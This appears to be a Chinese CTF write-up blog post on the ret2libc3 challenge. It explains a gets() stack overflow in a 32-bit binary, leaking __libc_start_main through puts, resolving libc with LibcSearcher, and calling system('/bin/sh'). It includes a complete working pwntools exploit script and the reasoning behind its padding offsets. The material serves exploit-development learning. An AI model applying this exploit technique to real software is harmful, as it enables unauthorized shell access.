ROP-基础-ret2libc3
文件下载地址:
链接:https://pan.baidu.com/s/1IMZt9WIlXDZBX2J-hoCyNA
提取码:jrsx
0x01.分析
checksec:
Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
源码:
int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+1Ch] [ebp-64h]setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("No surprise anymore, system disappeard QQ.");printf("Can you find it !?");gets(&s);return 0;
}
存在gets,判断是栈溢出。继续查看线程表,寻找system函数或其它有用地址:
并没有发现任何有用的信息,暂时失去了头绪。
0x02.新知识:利用libc
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 记住公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位(三位十六进制位)并不会发生改变。
- 如果我们知道 libc 中某个函数的地址,对比最低12位,我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
- 一般常用的方法是采用 got 表泄露。
- 由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
- libc 中也是有 /bin/sh 字符串的。
一般常使用LibcSearcher工具。
安装:
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
基本利用思路:
- 泄露 __libc_start_main 地址。(因为它是程序最初被执行的地方,所以肯定已经执行过)
- 获取 libc 版本。
- 获取 system 地址与 /bin/sh 的地址。
- 再次执行源程序。
- 触发栈溢出执行 system(‘/bin/sh’)。
0x03.exp
##!/uer/bin/env python
## coding=utf-8from pwn import*
from LibcSearcher import LibcSearcherr=process('./ret2libc3')
elf=ELF('./ret2libc3') #以ELF为格式创建对象puts_plt=elf.plt['puts'] #获取puts函数在PLT表的位置
libc_start_main_got=elf.got['__libc_start_main'] #函数的真实地址,我们要泄露的对象
main=elf.symbols['main'] #获取main函数的地址,为了再次执行源程序以再次利用栈溢出print "leak libc_start_main_got addr and return to main again"
payload=flat([112*'A',puts_plt,main,libc_start_main_got])
r.sendlineafter("Can you find it !?",payload)print "get the related addr"
libc_start_main_adr=u32(r.recv()[0:4])libc=LibcSearcher('__libc_start_main',libc_start_main_adr)libcbase=libc_start_main_adr-libc.dump('__libc_start_main')system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')payload=flat(['A'*104,system_adr,0x0,bin_sh_adr])r.sendline(payload)r.interactive()
0x04.原理解析
总体的原理就是通过泄露一个已经执行的函数,算出基址,(这里选用__libc_start_main ),得到system和bin/sh的地址,最后再来一次溢出,去执行syatem('bin/sh'),得到shell。
具体脚本解析:
- 第一次payload的目的是打印泄漏libc_start_main函数的地址,然后返回到main函数,再次溢出,利用了puts函数打印该地址。
- libc_start_main_adr=u32(r.recv()[0:4])
- libc_start_main的地址的后12位即使程序有 ASLR 保护,交互时接受返回的地址,由于是32位的文件,每4位切一次片,用u32可以转成地址。
- recv(4)是指只接收四个字节的信息,因为泄露的地址信息只存在于前四个字节,u32是指解包unpack,将一块数据解包成四个字节。
- libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
- 利用脚本去找到libc的版本号,第二个参数为已泄露的实际地址。
- 这里运行时需要选择,有两个选择,只有第一个可以,暂不知道原理,一个一个试(重点)
- libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
- 这行代码的目的是用真实地址减去这个函数的偏移地址,得到libc基址。
- system_adr=libcbase+libc.dump('system') 得到libc中system的地址
- bin_sh_adr=libcbase+libc.dump('str_bin_sh')得到libc中/bin/sh的地址
- 也可以通过这个网站在线查找:https://libc.blukat.me/
- 第二次溢出就是真正的拿到shell,为什么是104在下面解释。
104字符填充解释:
__start 是程序的起始。
void _start()
{%ebp = 0;int argc = pop from stackchar ** argv = top of stack;__libc_start_main(main, argc, argv, __libc_csu_init, __linc_csu_fini,edx, top of stack);
}
直接用main_plt = elf.symbols['_start']的话,仍然填充为112。
使用main需要减去8。(。。。)
可以这样计算:ebp+0x4-(esp+0x1c)(esp+0x1c是字符串的起点),ebp+4的目的是从main开始调用。
也可以debug调试:
在脚本前面加上:
context.terminal=['gnome-terminal','-x','sh','-c']
在需要调试的地方加上:(sh为进程变量)
gdb.attach(sh)
ROP-基础-ret2libc3相关推荐
- 二进制学习基础文章整理
二进制.栈溢出入门笔记整理 以下是我入门二进制的一些笔记整理链接,特此整理出来,方便自己查阅,也方便读者阅读. 必备知识 <linux程序的常用保护机制> <PLT表和GOT表学习& ...
- 缓冲区溢出基础实践(二)——ROP 与 hijack GOT
3.ROP ROP 即 Return Oritented Programming ,其主要思想是在栈缓冲区溢出的基础上,通过程序和库函数中已有的小片段(gadgets)构造一组串联的指令序列,形成攻击 ...
- ctf pwn 萌新学习记录 基本rop(题目来自Wiki)
文章目录 ret2text 解题步骤 ret2shellcode 解题步骤 解读exp ret2sysycall 解题步骤 系统调用 一探 二探 ret2libc ret2libc1 ret2libc ...
- 【Web狗自虐系列1】Pwn入门之初级ROP
0x0 栈介绍 栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作 压栈与出栈都是操作的栈顶 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了 ...
- iMeta | 南科大宋毅组综述逆境胁迫下植物向微生物组求救的遗传基础(附招聘)
点击蓝字 关注我们 Review:植物向微生物群"呼救"策略的遗传基础 https://doi.org/10.1002/imt2.8 2022/3/14 ● 2022年3月14日, ...
- CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)
参考例题 https://blog.csdn.net/weixin_45556441/article/details/115091036 引子 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码 ...
- [网络安全自学篇] 五十五.Windows系统安全之构建ROP链绕过DEP及原理详解
这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或 ...
- CFI/CFG 安全防护原理详解(ROP攻击、DOP攻击、插装检测)
1. 简介 CFI: Control-Flow Integrity(控制流完整性) CFG: Control Flow Guard(Windows的CFI实现) CFG: Control-Flow G ...
- 20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击
20145236<网络对抗>进阶实验--64位Ubuntu 17.10.1 ROP攻击 基础知识 ROP攻击 ROP全称为Retrun-oriented Programmming(面向返回 ...
- Objective-C基础3:内存管理续
1.上篇我们讲了OC中的内存管理基础,我们再总结一下何时该用内存管理. 1)当用new.alloc.copy创建对象时,必须要释放对象. 2)当拥有对象时,如果是临时对象,不需要释放:当需要长时间保留 ...
最新文章
- postman断言测试脚本一
- [Spring MVC起步]我的第一个MVC
- 74HC595的使用
- python课程与c+课程有什么不同-Python学习之二:Python 与 C 区别
- HTTP权威指南阅读笔记五:Web服务器
- Sympy常见多个变量【一行代码创建】
- 提高你的Java代码质量吧:少用静态导入
- Kafka 安装和搭建 (一)
- 如何查看sqlserver日志的方法
- 【RabbitMQ】8、RabbitMQ之mandatory和immediate
- is在python中是什么意思_Python 中 is 与 == 有啥区别?
- 【5G落地】首批5G商用牌照正式颁发!5G和AI并肩前行,会带来下一次的工业革命吗?...
- 【BZOJ】1015 [JSOI2008]星球大战starwar(并查集+离线处理)
- SQL:统计一个数据库中所有表记录的数量
- 【数字化常识】有关专利分析的一二事
- 2021-12-21 理解JS中的shim / polyfill / 垫片概念
- 如何查看一个期刊是sci几区以及影响因子 入藏号 ISSN等信息
- LintCode 练习【C++】
- Android应用中打开微信扫一扫
- Word中批量更新域的两个小方法